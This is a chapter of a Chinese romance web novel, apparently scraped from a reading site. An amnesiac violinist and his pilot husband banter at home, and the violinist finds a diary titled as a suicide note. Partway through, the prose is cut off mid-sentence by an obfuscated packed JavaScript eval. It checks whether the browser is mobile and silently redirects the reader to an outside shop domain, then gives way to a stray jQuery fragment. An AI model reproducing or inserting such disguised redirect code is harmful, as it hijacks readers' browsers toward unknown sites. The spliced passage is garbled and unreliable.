文趣网 > 都市小说 > 清冷老婆失忆后 > 9. 第 9 章
    被便利贴贴住脑门的时候,宁知还下意识闭上眼睛,季桉的指腹隔着便利贴,轻轻温了一下他的额头就离开。

    闭眼之前他看见季桉在笑,可闭上之后,更灵敏起来的听力,听见了又一声叹息。

    睁开眼睛,季桉仍然是那副笑模样,但不好看。大概他自己也知道,于是没看宁知还,转身把没用完的便利贴收回玄关柜,那支“签离婚协议的笔”在指尖转了一圈,也丢了进去。

    “我想起来了。”宁知还想了一下,忽然说,“我没忘记你,我记着的。”

    他说得很认真,以此引来了季桉的目光。

    宁知还:“你签离婚协议的时候哭了是不是。”

    季桉挑了下眉,一张脸陡然生动起来,他点了下头,扶着宁知还后颈带他到水吧台边,一边倒水一边颇有兴味地说。

    “还记得什么?再编两个。”

    宁知还往高脚凳上一坐,两条自由的腿悠悠地晃,伸手托腮,眼睛一闭,准备从善如流地继续杜撰。

    结果发现,脑海里空空如也。

    他不记得季桉这事儿……又不是假的。

    “……”

    酝酿好几秒,他睁开眼睛,季桉往他面前推了杯温水,宁知还看看他,又看看水,一低头闷着喝了。

    “编不出来了。”他放弃道,“不过你朋友好像很有编剧天赋,下次我找他学学。”

    下次找他多说一点季桉小故事,就算真的想不起来,也没关系嘛。

    “别找他,小心学坏。”季桉轻哂。

    宁知还搁下杯子看他:“那……开心一点吗?”

    “宁医生妙手回春。”季桉说,“没事,我知道这是个很漫长的过程,只是随口一说。”

    宁知还弯了弯眼尾,低头又象征性地抿了口水,新奇地看着季桉又忙忙碌碌打开冰箱洗水果,和刚睁眼时看到的那个面无表情的酷哥,一点边都不沾了。

    好像小时候摆弄七巧板一样,一看到变幻的事物,就总忍不住探究更多。空白的记忆重又催生出好奇来,宁知还琢磨片刻,没忍住问。

    “如果我没出这场车祸,真坐到民政局要离婚签字的话……你真会哭吗?”

    季桉把洗好的桃子放到案板上,无奈回头,后悔自己刚刚脱口而出那么句话来,看见宁知还又在眨巴他那双清凌凌的眼睛,不由失笑。

    十八岁的记忆套着这个二十八岁的壳子,竟也一点都不显得违和。

    没失忆的宁知还偶尔也会这么看他,但太少了,以至于季桉现在,总像猎人看见宝藏一样移不开眼睛。

    宁知还说他:“害羞了呀,季机长。”

    季桉哭笑不得。

    “我那句话的重点是这个?你这小孩怎么油盐不进。”

    “什么油盐不……不对。”宁知还反应过来,坐直了,用手指敲敲桌面——电视剧里的霸总大佬都这么敲,很有年上者的掌控感。

    “你叫我什么?”他严肃皱眉,“都忘了,我比你大……我算算,三岁呢。”

    “宁三岁。”季桉头也没回,桃子被切开的甜香漫开。

    宁知还挺直的脊梁被勾着趴过去了些,吸吸鼻子,但还是坚持着男生打小就非常在意的问题。

    “不对,重说,你要叫我什么?”

    “行。”

    切好的桃子装进白瓷盘里,被端到他面前,季桉洗了手,湿漉漉的指节屈起,弹了一下他的脑门。

    “哥哥怎么是个木头。”

    转身拿了个叉子的功夫,季桉再回头,宁知还耳朵和脸都已经染上熟透桃子的颜色了。

    像是突然找到什么好玩的东西一样,季桉走到他对面,弯腰倚在吧台上和他视线齐平,手支着头,另一只手指尖轻点。

    和他刚刚一样的姿势,但买家秀版本。

    宁知还想移开视线都没能做到,只能愣愣木木地看着季桉又靠近了些,放轻了声音说。

    “哥哥喜欢听这个呀,以前也没发现呢?”

    宁知还抬手搓搓耳朵,支吾了一会儿,终于想出一个解释。

    “因为以前是真哥哥啊……对。”

    合理的解释把他自己都骗过去了,于是硬气起来,目光颇有力量地看过去:“到时候你等着,你等我再想想,记忆恢复到和你一般大的时候,你就等着瞧吧,臭弟弟。”

    说完,他从季桉手里摸了个叉子,发号施令。

    “吃桃。”

    原本慢慢暧昧起来的气氛,被他这么一句“臭弟弟”轻轻松松挥散了。

    季桉很难分辨他到底是不是故意。

    直起身来,季桉幽幽叹了口气,叉子百无聊赖地扎进桃肉,他对水果感觉一般,陪餐陪得不是很走心。

    两人安安静静地坐在吧台两侧,微风和阳光也挤进来,让季桉忽然有种恍如隔世的感觉。

    无论如何,坐在他面前的人,总算是死里逃生。

    在叉子和瓷盘碰撞的清脆声响里,季桉这才有了劫后余生的放松感。

    “刚从医院回来,等会儿吃完去洗个澡。”他说。

    原本一块接一块进食中的宁知还忽然抬头,一双眼睛带着警觉,问。

    “干什么?我刚出院。”

    季桉:“不是要剪头发……”

    他反应的时间都比宁知还的警惕来的慢,半天才隐约猜到他可能在警惕什么,头抵在手腕上,闷头笑了好一会儿。

    “懂得还挺多啊,哥哥?”

    “……我吃完了!”

    宁知还把叉子一撂,为了降温端起水杯,喝啤酒一样仰头吨吨着把剩下的水全干了,头也不回就往里走。

    身后传来季桉的声音:“卧室在——”

    话都还没说完,宁知还已经侧身闪进了一个房间。门哐当一下关上的时候,屋里屋外,两个人都愣了一下。

    又想起来了?

    隔了两秒,季桉听见那扇关上的门里,传来宁知还的声音。

    “我在哪儿。”

    “灯在哪儿?”

    “这里好像不是主卧——”

    季桉沉默,用一种肃然起敬的目光看着那扇门。

    “……是你的工作间。”

    全黑的房间里,宁知还没找到灯,晕头转向地开门,探出一颗脑袋来。

    “好厉害的肌肉记忆。”他问,“灯在哪儿啊?”

    “我不知道。”

    意料之外的,季桉这样说。

    宁知还愣了愣:“这里平时是禁地吗?”

    “嗯。”

    “你也不能进?”

    “据我所知,没有人有这个特权。”

    “这么神秘……”

    宁知还小声咕哝着,借着走廊透进来的一点亮光摸索,忽然不知道碰到什么,桌上的电脑屏幕亮了起来。

    他这才发现,这间房子里根本没装顶灯,只有桌边的一盏落地灯孤零零地站着。

    “我找到了。”他找到开关打开,朝外面说了声,下意识关上了门,如同小时候躲进秘密基地一样。

    暖白的灯映亮半间屋子,宁知还小小地“哇”了一声,然后敏锐地发现,自己的声音在这个空间里显得格外清晰。

    这是个花了大价钱做隔音的录音棚,比学校的琴房好上百倍的那种。

    门一关上,全世界的声音仿佛都被隔绝在外一样,这里成了一座孤岛,太

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903537|212984||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过寂静的氛围让宁知还忽然有些心跳失速的感觉。

    他忙拉开椅子坐下,深呼吸了几次,才压下身体莫名产生的不适感,也终于有余力环顾屋子四周。

    二十平左右的空间被玻璃分隔成两半,里面是录音室,外面是电脑和键盘,其实很单调,也没什么好看的。

    直到他回头。

    门所在的那堵墙上,贴了一块毛毡板,旁边的小桌上搁着小提琴琴盒,半开着,上面还搁着谱夹。

    宁知还认出是自己高中换的那把琴,很不便宜的价钱,是爹妈铁了心让他走这条路的力证。

    老朋友没能吸引他的注意,反而是毛毡板上挂着的一张张照片,一瞬间击中他被淤堵着记忆的大脑,牵着他睁大眼睛走了过去。

    刚醒来还在医院的时候,宁知还在心里说过,季桉长得帅要当海报挂在墙上之类的话。

    但……

    但没想到,这是实话啊?

    心底没由来地生出些窃喜,好像失忆这件事没对他产生任何影响似的。

    宁知还加快脚步走过去,正准备欣赏一下这些珍藏,余光忽然瞥见放在琴上的谱夹。

    它摊开着,里面一页页存放的,却并不是他熟悉的那些面条一样的线,蝌蚪一样的点。

    是日记格式的记录册,灯光有些昏暗,宁知还好奇拿起来,直接翻到第一页。

    【遗书】

    他手一抖,谱夹直直摔到地面上,被地毯托住,只发出一声咽回去的闷响。

    第一页躺在地上向他展开,他读到下一行的文字。

    【想了半天,不知道写什么。季桉落地往回走了,算了。9.5】

    今天不是九月四吗?我又穿越了?

    宁知还一瞬间头皮炸开般发麻。他蹲下来不断深呼吸,一目十行地往下看。

    【季桉今天不飞。吃了黑鱼火锅。9.6】

    【……遗书到底怎么写 9.17】

    【想了想,还是先把echo写完吧,只给季桉,不给别人听就好 10.15】

    【CKJ又来找我了。我。】

    【算了,季桉在稻城给我寄了张照片 11.28】

    【echo只补了四个小节,又写不出来了,奇怪,季桉失效了吗,好遗憾 12.15】

    【元旦快乐,季桉说年年有今日,但我想,还是算了吧 2036.1.1】

    “是……去年的?”宁知还趴在地上看,也不知道是松了口气,还是有些恍惚,自言自语的声音都是飘着的,“哪门子遗书,这不是日记吗,吓死我了,正经人谁写日……不是,谁写遗书啊。”

    仿佛推开一扇隐秘的门,生怕惊扰了什么一样,他不敢大声。

    笃笃。

    敲门的声音响起,宁知还一哆嗦,站起来下意识把谱夹塞回琴盒,严丝合缝地拉住。

    他把门拉开一条缝,季桉靠在门边看他,声音还带着在吧台边残留的笑意。

    “别工作了宁老师,买的理发剪送到了,去洗澡……怎么了?”

    他看见宁知还好像有点愣。

    “嗯……嗯?没有。”

    宁知还仰头,把他从门口推开,自己也跟着出来,下意识反手带上了门。

    他又呼吸两下稳住情绪,在季桉明显不相信的目光里,若无其事地眨了下眼睛,半天找不到什么借口,忽然脱口而出。

    “就是有点惊讶,里面挂了你一墙的照片,还挺帅。”

    季桉脚步立刻顿住,像生了根一样不肯再走半步,明亮的目光灼灼地看着他,然后越过他,又燎上那扇紧闭的门。

    他问。

    “什么照片。”